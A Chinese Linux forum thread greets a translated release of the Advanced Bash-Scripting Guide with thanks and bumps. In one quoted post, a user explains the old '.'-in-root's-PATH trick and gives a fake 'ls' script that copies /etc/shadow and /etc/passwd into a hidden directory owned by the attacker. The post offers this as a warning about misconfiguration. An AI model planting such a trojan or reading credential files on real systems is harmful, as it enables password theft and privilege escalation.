高级Bash脚本编程指南(Advanced Bash-Scripting Guide)：[最新]中文正式3.9.1版发布

clz_3022

绝对要支持，顶

dddddrrrr

Post by kiron;1795187
链接我也找不到了。。。在这儿简单说一下吧。
这个漏洞其实很老也很简单，如果是root把当前目录.加到PATH环境变量的开头，
像这样：PATH=.PATH，因为SHELL寻找命令所在的目录时，按PATH变量值中以:分割的各个目录中依次寻找命令。上面这样设置时会使当前目录的优先级最高。
现在有一个恶意用户a,家目录是/home/a，在他的家目录下写了一个脚本，类似像下面的：

1. 
   
2. #!/bin/bash
   
3. mkdir /home/a/.hidden >/dev/null 2>&1
   
4. cp /etc/shadow /etc/passwd /home/a/.hidden >/dev/null 2>&1
   
5. chown -R a.a /home/a/.hidden >/dev/null 2>&1
   
6. /bin/ls
   

复制代码

命名为ls
这样，当ROOT某天在进入a用户的家目录做常规检查时，习惯性的输入ls时，执行的是恶意用户a的脚本，不是/bin/ls，a用户就这样窃取了密码文件。
当然恶意用户目的不一定是窃取密码文件，也可能是做在sudo的配置文件中加入自己为超级用户之类的坏事。

谢谢kiron，原本以为会被忽略。哈哈！明白了
努力

buaaer

两位的技术功底一定很强吧．

zweiwuwen

甚是感谢楼主，功德无量，阿弥佗佛！！！！

z0800

应该是要顶一下的。

amd.ronin

强列支持，辛苦

clark365

http://www.linuxsir.cn/main/?q=node/140
链接打开无内容！！！

killman0019

严重感谢楼主，感谢译者

开始就不晚

刚刚开始linux的学习，就看到这样好的书。
顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶

yanpingsha

小弟拜谢！^_^